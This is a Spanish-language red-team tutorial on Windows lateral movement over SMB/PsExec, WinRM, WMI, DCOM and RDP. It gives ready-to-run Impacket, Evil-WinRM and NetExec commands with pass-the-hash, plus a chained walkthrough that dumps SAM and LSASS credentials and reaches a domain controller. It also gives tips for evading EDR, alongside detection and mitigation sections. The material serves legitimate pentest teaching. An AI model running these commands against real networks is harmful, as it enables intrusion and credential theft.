Movimiento lateral Windows: SMB, WinRM, WMI, DCOM y PsExec
· 9 min de lectura
Con credenciales o hashes de un usuario, pasas a otros equipos del dominio con SMB, WinRM, WMI, DCOM o PsExec. Aprende cada técnica, sus artefactos, sus detecciones y cómo elegir la más limpia.
Un operador que entra en una red Windows raramente se queda en el primer equipo. Tras conseguir credenciales o hashes de un usuario, el siguiente paso es moverse lateralmente: entrar en otros equipos del dominio para alcanzar el objetivo real (habitualmente un controlador de dominio, un servidor con los datos, o una estación de trabajo de un admin). Windows ofrece múltiples protocolos para gestión remota —SMB, WinRM, WMI, DCOM, RDP— y cada uno es una vía potencial de movimiento lateral si tienes las credenciales o un hash NTLM del usuario adecuado en el equipo destino.
La diferencia entre un operador que sabe lo que hace y uno que no se nota en qué protocolo elige. PsExec deja artefactos obvios en el visor de eventos; WinRM deja menos; WMI es el más limpio de los nativos; usar impersonación con tickets Kerberos es aún más silencioso. Cada protocolo tiene su detección, su ruta y sus requisitos de red (puertos distintos). Dominar la paleta entera es lo que convierte un pentest promedio en un red team útil.
Esta lección cubre los cinco protocolos clásicos para movimiento lateral en entornos Windows, con herramientas concretas (Impacket, NetExec, Evil-WinRM, CrackMapExec), sus artefactos y cómo detectarlas desde el lado defensivo. Es el salto natural tras obtener credenciales por las técnicas AD que vimos antes.
Practica solo en laboratorios o entornos autorizados. Mover lateralmente en una red corporativa sin autorización es intrusión y delito.
Los cinco protocolos#

| Protocolo | Puerto | Herramienta canónica | Ruido típico |
|---|---|---|---|
| SMB + PsExec | 445 | psexec.py, smbexec.py | Alto: servicio nuevo creado |
| WinRM | 5985 / 5986 | evil-winrm, PS-Remoting | Medio: eventos 4103, 4104 |
| WMI | 135 + dinámico | wmiexec.py, Invoke-WMIMethod | Bajo: eventos 4688 solo en destino |
| DCOM | 135 + dinámico | dcomexec.py | Bajo: aplicación específica invocada |
| RDP | 3389 | xfreerdp, mstsc | Alto: sesión interactiva registrada |
Cada uno tiene su variante que acepta hash NTLM o ticket Kerberos sin pedir contraseña: el famoso Pass-the-Hash (que ya viste en la Tanda 3 para SMB) y Pass-the-Ticket. La elección depende de lo que tengas y de cuánto quieras hacerte notar.
SMB y PsExec#
El clásico. psexec.py de Impacket copia un servicio ejecutable al share ADMIN$, crea un servicio Windows que lo ejecuta y devuelve una shell. Requiere ADMIN$ accesible y permiso de crear servicios (admin local típicamente).
# Con password
impacket-psexec LAB/maria:'Pass123'@server01.lab.local
# Con hash NTLM (Pass-the-Hash)
impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c \
LAB/[email protected]
# Con ticket Kerberos
export KRB5CCNAME=maria.ccache
impacket-psexec -k -no-pass server01.lab.local
Artefactos típicos:
- Event 7045 (service installed) en el equipo destino.
- Archivo random
.exeenC:\Windows\(lo borra al terminar, pero puede quedar si cae). - Event 4697 en Security log.
Es ruidoso. Para labs y auditorías donde no importa el ruido, es el flujo más rápido. Para red team real, no.
smbexec#
Primo menor y más silencioso. En vez de servicio nuevo, usa un servicio llamado BTOBTO que ejecuta cmd directamente:
impacket-smbexec LAB/maria:'Pass123'@server01.lab.local
Menos artefactos, pero sigue siendo detectable por EDR serios.
WinRM#
Windows Remote Management, basado en WS-Management sobre HTTP(S). Puertos: 5985 (HTTP) y 5986 (HTTPS). Habilitado por defecto en Windows Server moderno; en workstations suele estar deshabilitado salvo que se active por GPO.
Evil-WinRM#
# Con password
evil-winrm -i server01.lab.local -u maria -p 'Pass123'
# Con hash
evil-winrm -i server01.lab.local -u maria -H 8846f7eaee8fb117ad06bdd830b7586c
# Con ticket Kerberos
export KRB5CCNAME=maria.ccache
evil-winrm -i server01.lab.local -r lab.local
Da shell PowerShell interactiva muy cómoda, con funciones extra (upload, download, menu, services, bypass4mw).
PowerShell Remoting#
Alternativa nativa desde Windows:
$cred = Get-Credential
Enter-PSSession -ComputerName server01 -Credential $cred
# o
Invoke-Command -ComputerName server01 -Credential $cred -ScriptBlock { whoami }
Si estás dentro de un equipo con las credenciales ya cargadas, no hace falta más.
Artefactos: Event 4103/4104 (PowerShell operational log), 4624 con logon type 3.
WMI#
Windows Management Instrumentation. El protocolo más limpio de los nativos. Impacket lo expone con wmiexec.py:
impacket-wmiexec LAB/maria:'Pass123'@server01.lab.local
El comando se ejecuta con Win32_Process::Create remoto. Artefactos mínimos: solo event 4688 (process creation) en el destino, con parent wmiprvse.exe. No crea servicio, no copia archivos, no deja ejecutable en disco.
Es el flujo favorito de red team moderno para ejecutar comandos en otros equipos sin ruido significativo.
DCOM#
Variante usada menos pero útil cuando WMI está filtrado. dcomexec.py invoca aplicaciones DCOM registradas en el destino para ejecutar código:
impacket-dcomexec LAB/maria:'Pass123'@server01.lab.local
Métodos típicos: MMC20.Application, ShellWindows, ShellBrowserWindow. Cada uno deja huellas distintas en el equipo destino (la aplicación DCOM elegida aparece lanzada en los eventos).
RDP#
Si tu usuario está en el grupo Remote Desktop Users del destino:
xfreerdp /u:maria /p:'Pass123' /v:server01.lab.local
# Con hash (requiere restrictedadmin)
xfreerdp /u:maria /pth:8846f7eaee8fb117ad06bdd830b7586c \
/v:server01.lab.local /restricted-admin
Es la vía más visible (sesión interactiva registrada), pero da un escritorio completo, cómodo para trabajar.
RestrictedAdmin#
Modo RDP que permite autenticarse con hash sin exponer credenciales nuevas en el destino (previene credential dumping ahí). Requiere habilitar por registry en destino. Herramienta clave para red team que quiere RDP sin caer en credenciales locales.
Pass-the-Ticket vs Pass-the-Hash#

Pass-the-Hash (PtH): usas un hash NTLM directamente en vez de la password. Funciona con cualquier servicio que acepte NTLM: SMB, WinRM, WMI, LDAP. No funciona contra servicios que solo aceptan Kerberos (algunos endurecidos). Se combate con NTLM relay prevention, SMB signing, canal binding.
Pass-the-Ticket (PtT): usas un ticket Kerberos (TGT o TGS). Funciona con cualquier servicio que acepte Kerberos. Es más silencioso en entornos auditados porque no genera los tipos de logon llamativos de NTLM.
Herramientas: impacket-ticketer para generar y cargar, klist/kinit para gestionar, Rubeus en Windows para operaciones avanzadas (S4U, forwardable, impersonation).
NetExec (nxc)#
Lo que antes era CrackMapExec. Herramienta todo-en-uno para enumerar y moverse lateralmente contra muchos equipos:
# Barrer un rango SMB probando credenciales
nxc smb 192.168.1.0/24 -u maria -p 'Pass123'
# Donde se autentica, ejecutar comando
nxc smb 192.168.1.0/24 -u maria -p 'Pass123' -x 'whoami'
# Pass-the-hash
nxc smb 192.168.1.0/24 -u maria -H 8846f7eaee8fb117ad06bdd830b7586c
# Lo mismo con WinRM
nxc winrm server01 -u maria -p 'Pass123'
Es la navaja suiza del movimiento lateral en pentest. Devuelve verde cuando autentica, rojo cuando no, azul cuando hay problemas de red.
Detección#
En el equipo destino:
- SMB/PsExec: Event 7045 (service install), 4697, 4688 con cmdline sospechosa.
- WinRM: Event 4624 logon type 3, PowerShell 4103/4104 operational.
- WMI: Event 4688 con parent
wmiprvse.exe, consultas DCOM anómalas en Microsoft-Windows-DistributedCOM. - DCOM: logs de la aplicación DCOM específica.
- RDP: Event 4624 type 10, registros de TerminalServices.
En el equipo origen:
- Autenticación con cuentas no asociadas al host.
- Movimiento lateral desde workstations hacia servidores sensibles.
- Herramientas tipo Mimikatz cargándose en memoria.
Herramientas defensivas: Microsoft Defender for Endpoint, CrowdStrike, SentinelOne, Elastic Security. Todas tienen reglas para los patrones habituales.
Mitigación#
- PsExec/WMI entre workstations: NetworkPolicy equivalente en Windows (Windows Firewall con GPO).
- Credential Guard en workstations.
- LAPS para que el admin local sea distinto en cada equipo.
- RestrictedAdmin RDP y deshabilitar
WDigest. - NTLM auditado y limitado vía GPO (Network Security: Restrict NTLM).
- Protected Users para admins de dominio.
- Tiering (de la lección DCSync): nunca credenciales T0 en T1 o T2.
Walkthrough: encadenando técnicas en una red#
Para fijar cómo se combinan, un flujo canónico en red team interno:
Paso 1 — credencial inicial (phishing, kerberoasting + crack, o leak en repositorio):
# Tenemos LAB\maria : MariaPass123
Paso 2 — barrido NetExec contra el /24 de workstations:
nxc smb 192.168.10.0/24 -u maria -p 'MariaPass123'
# Verde en 15 máquinas: maria es local admin en varias por GPO
Paso 3 — dump de hashes locales en los equipos accesibles:
nxc smb 192.168.10.0/24 -u maria -p 'MariaPass123' --sam
# Hashes locales de cada equipo
Paso 4 — reutilizar hash local de un admin recurrente:
nxc smb 192.168.10.0/24 -u administrator -H <hash-local> --local-auth
# Más máquinas verdes
Paso 5 — dumpear credenciales en memoria (Mimikatz / lsassy):
nxc smb server01 -u administrator -H <hash> --local-auth \
-M lsassy
# Credenciales de usuarios en sesión: quizá un domain admin
Paso 6 — usar las credenciales de dominio con WMI para no hacer ruido:
impacket-wmiexec LAB/admin:'Pass!'@dc01.lab.local
Y de ahí, DCSync + Golden Ticket si corresponde. Cada paso usa un protocolo distinto según lo que conviene.
OpSec: elegir bien#
En red team real la decisión de protocolo pesa:
- Si el entorno tiene Defender for Endpoint maduro, PsExec cae en minutos: se usa WMI o WinRM con operaciones específicas, nunca shells interactivas largas.
- Si hay lanzamiento de cmd o PowerShell monitorizado, se prefieren técnicas que ejecuten DLLs cargadas en procesos legítimos (COM hijacking, AppDomain injection).
- Si la red tiene auditoría de NTLM activa, mejor Overpass-the-Hash para llegar a Kerberos cuanto antes.
- Si hay network segmentation entre VLANs, el movimiento lateral requiere pivoting (SSH, Chisel, Ligolo) y la elección de protocolo cambia según qué puertos pasan el firewall.
Operar con OpSec es la diferencia entre completar el engagement y ser cazado en el primer día.
Errores comunes#
- Usar PsExec como herramienta primaria sin tener en cuenta el ruido.
- No configurar WinRM/WMI con firewall en workstations.
- Mismo password de admin local en todos los equipos sin LAPS.
- Habilitar RDP «para administración» sin restringir origen.
- Cuentas de servicio con Logon as Service en todos los servidores.
Preguntas frecuentes#
¿Qué protocolo elijo primero?#
Si el objetivo es ruidoso y rápido: PsExec. Si quieres silencio: WMI o PowerShell Remoting. Si quieres interactividad completa: RDP.
¿NetExec funciona contra Linux?#
Sí, también cubre SSH, MSSQL, WinRM contra sistemas con pywinrm, FTP. Buena herramienta cross-platform.
¿Pass-the-Hash funciona con AES Kerberos?#
No, pero hay Overpass-the-Hash: usas el hash para pedir un TGT normal al DC y luego operas con Kerberos. Es la forma moderna de aprovechar hashes contra servicios endurecidos.
¿Credential Guard bloquea todos estos movimientos?#
Bloquea el dumping desde LSASS. Si ya tienes las credenciales (desde fuera, phishing, leak), el movimiento lateral sigue funcionando. CG protege la generación de credenciales, no su uso.
¿Dónde practico?#
El laboratorio red-hat de whoami-labs incluye varios equipos con cuentas locales y de dominio. Practicas enumerar con NetExec, PsExec, WinRM, WMI y DCOM, viendo los eventos generados en cada caso.
¿Hay alternativas modernas a estos protocolos?#
Sí. RPC sobre HTTP para flujos de Exchange, SSH sobre Windows (OpenSSH integrado desde 2018), Azure Arc y Entra Connect abren nuevas superficies en entornos híbridos. Y en red team avanzado se usan canales custom (DNS tunneling, HTTPS C2 malleable) que no dependen de protocolos nativos. La lección aquí cubre los clásicos porque son los que seguro encuentras en una auditoría; los modernos son especialización por entorno.
Resumen#
- Cinco protocolos clásicos: SMB/PsExec, WinRM, WMI, DCOM, RDP.
- Cada uno con ruido distinto: WMI el más limpio nativo, RDP el más visible.
- Pass-the-Hash con NTLM, Pass-the-Ticket con Kerberos: no necesitas el password.
- NetExec (nxc) es la navaja suiza para barridos y ejecución masiva.
- Detección en destino: event logs específicos según protocolo.
- Defensa: Credential Guard, LAPS, tiering, firewall en workstations, NTLM restringido.
La paleta cambia con el tiempo pero el principio no: entender qué puertos hablan en el entorno, qué autenticación aceptan y qué logs dejan es lo que convierte a un pentester en un operador cómodo moviéndose en redes reales.